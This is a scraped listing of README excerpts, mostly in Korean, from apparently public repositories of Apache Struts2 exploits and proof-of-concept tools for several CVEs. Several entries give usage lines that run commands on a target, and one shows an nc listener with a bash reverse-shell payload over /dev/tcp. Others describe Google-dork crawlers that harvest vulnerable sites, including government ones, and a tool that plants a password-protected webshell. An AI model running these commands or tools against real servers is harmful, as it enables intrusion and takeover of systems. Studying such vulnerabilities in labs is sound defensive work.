Struts2Shell

Struts2Shell CVE-2017-5638 - Apache Struts2 S2-045 버그에 대한 익스플로잇및 라이브러리입니다. 설치 $ npm install -g struts2shell 라이브러리로 설치 $ npm install struts2shell 명령줄 옵션 -h, --help 사용 정보 출력 -V, --version 버전 번호 출력 -u, --url target 공격할 URL -c, --cmd command 실행할 명령 라이브러리 사용법 var Struts2Shell = require'struts2shell';...

CVE-2017-5638-Apache-Struts2

이 저장소에는 README가 없습니다...

cybersecurity-struts2

Apache Struts2 취약점 | CVE-2017-5638 | 버전 2.5 면책 조항 이 내용은 교육 및 연구 목적으로만 제공됩니다. 저는 이 프로젝트의 내용이나 정보를 불법적이거나 비윤리적인 용도로 사용하는 것을 허가하거나 지지하지 않습니다. 지침 웹앱을 실행하려면: java -jar ms-cybersecurity-1.jar 내장 Tomcat 사용 Java 1.8 웹앱은 기본적으로 8080 포트에서 실행됩니다 http://localhost:8080/MSCybersecurity 명령을 보내려면 명령줄 에뮬레이터Send.ja...

CVE-2019-0230

이게 뭔가요 이것은 S2-059를 위한 간단한 테스트 프로젝트로, 이 취약점의 세부 사항을 분석하는 데 사용할 수 있습니다. 사용 방법 1단계: IDEA를 사용하여 이 프로젝트를 가져옵니다. 2단계: Tomcat 서버를 설정합니다. 3단계: 브라우저로 "http://ip:port/SimpleStrutswarexploded/S2059?id=%2588"에 접속합니다. 공격 방법 python2 CVE-2019-0230.py...

CVE-2018-11776

CVE-2018-11776 2018년 8월 23일, Apache Struts2가 최신 보안 공지를 발표했습니다. Apache Struts2에 원격 코드 실행 취약점이 존재하며, 이 취약점은 Semmle Security Research team의 보안 연구원이 보고했고, 취약점 번호는 CVE-2018-11776S2-057입니다. Struts2의 XML 구성에서 namespace 값이 설정되지 않고 Action Configuration에서 설정되지 않았거나 와일드카드 namespace를 사용하는 경우 원격 코드 실행이 발생할 수...

CVE-2017-5638

CVE: 2017-5638 - Apache Struts2 S2-045 에 대한 PoC 안녕하세요! 원래 스크립트를 requests 라이브러리를 사용하도록 리팩토링했습니다. 다른 라이브러리들 때문에 오류가 발생해서요. 도움이 되길 바랍니다! 사용법: python3 cve-2017-5638 url cmd-command...

CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c 트위터에서 CVE-2018-11776을 위한 작동하는 Python 테스트 및 PoC, 원래 다음에서 등장했습니다; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC 무슨 일인가요? Semmle의 Man Yue Mo가 Struts2 RCE 취약점을 발표했습니다. 이 취약점은 요청의 URL 경로에 인코딩된 페이로드로 전달됩니다. 영향을 받는 버전은 2.3부터...

PoC-CVE-2017-5638

PoC: Apache Struts2 CVE-2017-5638 안전한 교육용 데모 📌 개요 이 프로젝트는 영향받은 서버에서 공격자가 임의 코드를 실행할 수 있게 한 유명한 Apache Struts2 취약점인 CVE-2017-5638 에 대한 개념 증명 PoC입니다. ⚠️ 이 저장소는 교육 목적으로만 설계된 안전하고 악용하지 않는 데모 를 포함합니다. 어떠한 악의적인 작업도 수행하지 않습니다. 🔎 취약점 정보 CVE ID : CVE-2017-5638 유형 : 원격 코드 실행 RCE 구성 요소 : Apache Struts2...

CVE-2020-17530

무엇인가요 이는 S2-061에 대한 간단한 테스트 프로젝트로, 이 취약점의 세부 사항을 분석하는 데 사용할 수 있습니다. 사용 방법 1단계: IDEA를 사용하여 이 프로젝트를 가져옵니다 2단계: tomcat 서버를 설정합니다 3단계: 브라우저를 사용하여 "http://192.168.174.149:8080/SimpleStrutswarexploded/S2061.action?id=%25%7b8%2a8%7d"에 접속합니다 익스플로잇 방법 SSRF 테스트 POST /SimpleStrutswarexploded/S2061.action...

CVE-2020-17530

S2-061 스크립트는 모두 vulhub의 struts2-059/061 취약점 테스트 환경을 기준으로 작성되었으며, 일반적이지 않으니 고수분들의 많은 조언 부탁드립니다. struts2-061-poc.py 간단한 시스템 명령 실행 가능 사용법: python struts2-061-poc.py http://ip:port command 예시: python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py 리버스 셸 가능 사용법: 1. 먼저 머신 A에서 지정된 포트를...

struts2-rce-cve-2017-9805-ruby

Struts2 취약점 - CVE-2017-9805 설명 Apache Struts2 REST 플러그인 XStream RCE CVE-2017-9805 사용법 Usage: cve20179805poc.rb targeturi cmd ruby cve20179805poc.rb 127.0.0.1 ping -c 4 192.168.0.1...

CVE-2016-4438

ref: https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037PoC.py https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037CmdToolExP.py...

S2-Reaper

S2-Reaper 이 프로젝트는 Google 검색 결과에서 Struts2 S2-045에 영향을 받는 취약한 URL들을 수집하는 데 사용됩니다. 사용법 python reaper.py 정보 reaper.py는 crawler.conf에 정의된 키워드로 Google 검색 크롤러를 실행하여 취약한 URL을 찾습니다. crawler.conf baseurl : 기본 Google 검색 URL keyword : 예: site:gov ext:action expectnum : 크롤링할 예상 검색 결과 수 http/socks : 크롤러에 사용할...

CVE-2020-17530

OGNLインジェクションエクスプロイト 概要 Apache Struts2/TomcatのOGNLインジェクション脆弱性を悪用してシステムコマンドを実行するシンプルなPythonスクリプト。 使用方法 pip install requests colorama python3 exploit.py -u http://target/index.action -c "id"...

Computer-Security-Equifax-2017

실제 소프트웨어 취약점을 보여주는 교육용 리포지토리: Apache Struts2 CVE-2017-5638 RCE, 데이터 유출, 취약한 암호화, 그리고 완화 전략정화, 모니터링, 암호화 모범 사례. 레드 팀 대 블루 팀의 OS 보안 결함 데모: 익스플로잇, 지속성백도어, 그리고 방어 기술모니터링, TLS 검증...

google_explorer

Google Explorer에 오신 것을 환영합니다 ArchStrike와 BlackArch의 지원에 특별히 감사드립니다 ; + Google Mass Explorer PYTHON 3.6 이것은 구글 검색 엔진용 자동화 로봇이자 대규모 익스플로잇 도구입니다. 구글 검색을 수행하고 결과에 특정 --plugin을 실행합니다. 사용하는 dork가 성공의 열쇠입니다 ;. 옵션은 --help 매개변수로 나열할 수 있습니다. Usage: googleexplorer.py --dork= --browser= --language= --locatio...

st2-046-poc

Struts2 Content-Disposition filename null-byte 변종 CVE-2017-5638 Struts2 보안 게시판 S2-046 요청의 Content-Disposition 헤더 filename 필드에 널 바이트\x00가 포함되면 InvalidFileNameException이 발생할 수 있으며, 예외 메시지에 포함된 클라이언트가 제어하는 filename 문자열이 오류 처리 중 OGNL 평가를 유발하는 데 사용될 수 있습니다. 이는 원래 S2-045에서 보고된 Content-Type 벡터 및 S2-046에...

CVE-2018-11776

CVE-2018-11776 CVE-2018-11776 / S2-057 の環境 デモ サーバーの起動 $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 エクスプロイト $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

dismap

🌀 Dismap - Asset discovery and identification tool 中文 Readme Dismap positioning is an asset discovery and identification tool. It can quickly identify protocols and fingerprint information such as web/tcp/udp, locate asset types, and is suitable for internal and external networks. It assists red...

Struts2-045-Exp

Struts2 S2-045 CVE-2017-5638 Exp 도구 Exp 기능: 명령 실행 대상 웹사이트의 물리적 경로 가져오기 파일 업로드 Getshell Chopper용 기본 웹셸 HTTP/HTTPS 지원 모든 포트의 URL 지원 참고: 기본 웹셸의 비밀번호는 s2045@exp입니다 공지 이 프로젝트는 교육/연구 목적으로 제작되었습니다. 메일: [email protected]...